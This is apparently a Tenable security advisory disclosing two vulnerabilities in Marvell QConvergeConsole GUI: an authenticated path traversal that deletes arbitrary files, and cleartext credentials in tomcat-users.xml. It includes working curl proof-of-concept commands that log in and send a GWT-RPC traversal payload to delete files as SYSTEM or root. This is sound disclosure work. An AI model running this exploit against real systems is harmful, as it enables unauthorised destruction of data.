Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Marvell QConvergeConsole GUI Multiple Vulnerabilities

High

Synopsis

CVE-2020-5804: deleteEventLogFile Authenticated Path Traversal to File Deletion

The deleteEventLogFile method of the GWTTestServiceImpl class lacks proper validation of a user-supplied path prior to using it in file deletion operations. An authenticated, remote attacker can leverage this vulnerability to delete arbitrary remote files as SYSTEM or root.

# Get the login form
curl -si http://<qcc_host>:8080/QConvergeConsole/ | grep JSESSIONID
Set-Cookie: JSESSIONID=AA2D3A320A6E5DDA79D884951EE4BAD6; Path=/QConvergeConsole; HttpOnly

# Perform login; 302 = login ok; a new JSESSIONID generated upon successful login
curl -si --cookie 'JSESSIONID=AA2D3A320A6E5DDA79D884951EE4BAD6' -d 'j_username=<correct_username>&j_password=<correct_password>' http://<qcc_host>:8080/QConvergeConsole/j_security_check | egrep '(^HTTP|^Location|^Set-Cookie)'
HTTP/1.1 302 Found
Set-Cookie: JSESSIONID=1D6A756F17976C394F44E321C5E16C3F; Path=/QConvergeConsole; HttpOnly
Set-Cookie: JSESSIONIDSSO=16F56BABA95A9D53AF28DF7AFD952493; Path=/; HttpOnly
Location: /QConvergeConsole/

# Follow redirect using the new JSESSIONID
curl -si --cookie 'JSESSIONID=1D6A756F17976C394F44E321C5E16C3F' http://<qcc_host>:8080/QConvergeConsole/ | grep JSESSIONID

# Exploit deleteEventLogFile path traversal to delete a remote file
curl -si  --cookie 'JSESSIONID=1D6A756F17976C394F44E321C5E16C3F' -H 'Content-Type: text/x-gwt-rpc; charset=UTF-8' -H 'X-GWT-Permutation: deadbeef' -d '7|0|6|http://<qcc_host>:8080/QConvergeConsole/com.qlogic.qms.hba.gwt.Main/|serialization_policy|com.qlogic.qms.hba.gwt.client.GWTTestService|deleteEventLogFile|java.lang.String/2004016611|../../../../../../../../../tmp/delete_me.txt|1|2|3|4|1|5|6|' http://<qcc_host>:8080/QConvergeConsole/com.qlogic.qms.hba.gwt.Main/gwttestservice

CVE-2020-5805: Plaintext QCC credentials in tomcat-users.xml

QCC credentials are stored in cleartext in tomcat-users.xml

<user username="QCC" password="secretpassword123" roles="admin, manager, manager-script, manager-jmx, manager-status, admin-gui, admin-script"/>

OS-level users on the QCC host who are not authorized to use QCC may use the plaintext credentials to login to QCC.

Solution

Marvell notified Tenable that they are currently developing a software release update. No solution is currently available.

Disclosure Timeline

October 7, 2020 - Vulnerabilities discovered.
October 9, 2020 - Vulnerabilities reported to Marvell.
October 13, 2020 - Marvell Acknowledges.
January 7, 2021 - 90 day disclosure date.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

Tenable Advisory ID: TRA-2021-01
CVSSv2 Base / Temporal Score:
8.5
CVSSv2 Vector:
AV:N/AC:L/Au:S/C:N/I:C/A:C
CVSSv3 Base / Temporal Score:
8.1
CVSSv3 Vector:
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Affected Products:
Marvell QConvergeConsole GUI version 5.5.0.74
Risk Factor:
High

Advisory Timeline

January 7, 2021 - Initial release.
April 6, 2021 - Added additional reference.